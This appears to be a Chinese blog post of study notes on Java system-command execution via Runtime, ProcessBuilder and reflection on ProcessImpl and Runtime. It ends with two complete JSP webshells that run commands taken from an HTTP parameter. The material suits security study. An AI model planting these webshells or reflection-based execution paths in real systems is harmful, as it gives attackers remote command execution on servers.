前言
在学习了反射之后赶紧看一下执行系统命令的一些类。
执行命令的类
RunTime类
也是用的最多的一种,通过Runtime类的exec方法执行系统命令。
关键代码为:
Process p = Runtime.getRuntime().exec("calc");
结合IO操作,将结果打印出来,代码为:
public void test3() throws IOException {
try {
Process p = Runtime.getRuntime().exec("whoami");
InputStream input = p.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
//InputStreamReader 字节流到字符流,并指定编码格式
BufferedReader br = new BufferedReader(ins);
//BufferedReader 从字符流读取文件并缓存字符
String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
br.close();
ins.close();
input.close();
} catch (IOException e) {
e.printStackTrace();
}
}
过程:
通过Runtime
类的exec
方法执行命令获取输入流getInputStream()
,再InputStreamReader
处理流转换为字符流,并指定gbk的编码格式。BufferedReader
缓冲流读取文本到缓冲区,再通过readLine()
方法打印出结果。
ProcessBuilder 类
ProcessBuilder类通过创建系统进程执行命令。
关键代码为:
ProcessBuilder builder = new ProcessBuilder("calc");
Process process = builder.start();
将获取到进程中的输出信息和错误信息,通过IO流的方式的读取。
public void test3() {
try {
String[] cmds = new String[]{"cmd","/c","ipconfig"};
ProcessBuilder builder = new ProcessBuilder(cmds);
Process process = builder.start();
InputStream in = process.getInputStream();
//获取输入流
InputStreamReader ins = new InputStreamReader(in, "GBK");
// 字节流转化为字符流,并指定编码格式
char[] chs = new char[1024];
int len;
while((len = ins.read(chs)) != -1){
System.out.println(new String(chs,0,len));//字符串类型输出
}
ins.close();
in.close();
} catch (IOException e) {
e.printStackTrace();
}
}
过程:
通过ProcessBuilder
类执行系统命令。
相比较Runtime
类执行系统命令,这次试用String[]
字符串数组指定程序执行的系统命令。
如果是windows,则为
String[] cmds = new String[]{"cmd","/c","ipconfig"};
如果是linux,则为
String[] cmds = new String[]{"/bin/bash","-c","ifconfig"};
在打印的时候字符强制转换为字符串。
反射调用ProcessImpl类
Runtime和ProcessBuilder执行命令实际上调用的也是ProcessImpl类。
对于该类,没有构造方法,只有一个private类型的方法,可以通过反射调用。
关键代码为:
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, Redirect[].class, boolean.class);
method.setAccessible(true);
Process e = (Process) method.invoke(null, new String[]{"calc"}, null, ".", null, true);
public void test3() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
//String[] cmds = new String[]{"cmd","/c","ipconfig"};
String[] cmds = new String[]{"/bin/bash","-c","touch 3.txt"};
Class clazz = Class.forName("java.lang.ProcessImpl");
//获取该class类
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
//忽略访问权限
Process invoke1 = (Process) method.invoke(null, cmds, null, ".", null, true);
InputStream input = invoke1.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
//InputStreamReader 字节流到字符流,并指定编码格式
BufferedReader br = new BufferedReader(ins);
//BufferedReader 从字符流读取文件并缓存字符
String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
br.close();
ins.close();
input.close();
invoke1.getOutputStream().close();
}
反射调用Runtime类
关键代码为:
Class clazz = Class.forName("java.lang.Runtime");
Constructor constructor = clazz.getDeclaredConstructor();
constructor.setAccessible(true);
Object runtimeInstance = constructor.newInstance();
Method runtimeMethod = clazz.getMethod("exec", String.class);
Process process = (Process) runtimeMethod.invoke(runtimeInstance, "calc");
java.lang.Runtime
类的无参构造方法私有的,可以通过反射修改方法的访问权限setAccessible,强制可以访问,然后获取类构造器的方法。再通过newInstance()创建对象,反射再调用方法。
public void test3() throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
//String[] cmds = new String[]{"cmd","/c","ipconfig"};
String[] cmds = new String[]{"/bin/bash","-c","touch 1.txt"};
Class clazz = Class.forName("java.lang.Runtime");
// 2. 获取无参构造器
Constructor declaredConstructor = clazz.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
// 3. Constructor.newInstance() 创建对象
Object o = declaredConstructor.newInstance();
//Runtime o1 = (Runtime) o;
// 4. 获取方法
Method show = clazz.getDeclaredMethod("exec", String[].class);
Object invoke = show.invoke(o, (Object) cmds);
Process invoke1 = (Process) invoke;
InputStream input = invoke1.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
//InputStreamReader 字节流到字符流,并指定编码格式
BufferedReader br = new BufferedReader(ins);
//BufferedReader 从字符流读取文件并缓存字符
String line;
while ((line = br.readLine()) != null) {
System.out.println(line);
}
br.close();
ins.close();
input.close();
invoke1.getOutputStream().close();
}
jsp 命令执行
学习了java执行命令的方法,顺手也就会了jsp命令执行的webshell。
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
out.print(System.getProperty("os.name").toLowerCase());
String cmd = request.getParameter("cmd");
if(cmd != null){
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
InputStream input = p.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
BufferedReader br = new BufferedReader(ins);
out.print("");
String line;
while((line = br.readLine()) != null) {
out.println(line);
}
out.print("
");
br.close();
ins.close();
input.close();
p.getOutputStream().close();
}
%>
以Runtime
方法为例,将try语句直接移动过来。System.out.println()
修改为out.println()
,添加out.print("
格式化输出,")
import
导入所需要的包。
将脚本改成适用于windows和linux。
<%@ page language="java" contentType="text/html;charset=UTF-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
try {
String os = System.getProperty("os.name");
if(os.toLowerCase().startsWith("win")){
out.print("windows");
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
InputStream input = p.getInputStream();
InputStreamReader ins = new InputStreamReader(input, "GBK");
BufferedReader br = new BufferedReader(ins);
String line;
out.print("");
while((line = br.readLine())!=null) {
out.println(line);
}
out.print("
");
br.close();
ins.close();
input.close();
p.getOutputStream().close();
}else{
out.print("Linux");
InputStream in = Runtime.getRuntime().exec(request.getParameter("shell")).getInputStream();
InputStreamReader ins = new InputStreamReader(in);
char[] chs = new char[1024];
int len;
out.print("");
while((len = ins.read(chs)) != -1){
System.out.println(new String(chs,0,len));
}
out.print("
");
}
}
catch (IOException e) {
e.printStackTrace();
}
%>
总结
通过收集、编写一些命令执行的方式,对java的命令执行有了初步了解,且对比之前的反射机制多了一些理解。
参考资料
https://www.anquanke.com/post/id/221159
https://www.bookstack.cn/read/anbai-inc-javaweb-sec/javase-CommandExecution-README.md
https://ca01h.top/Java/code/6.Java%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0%E4%B9%8B%E6%9C%AC%E5%9C%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C/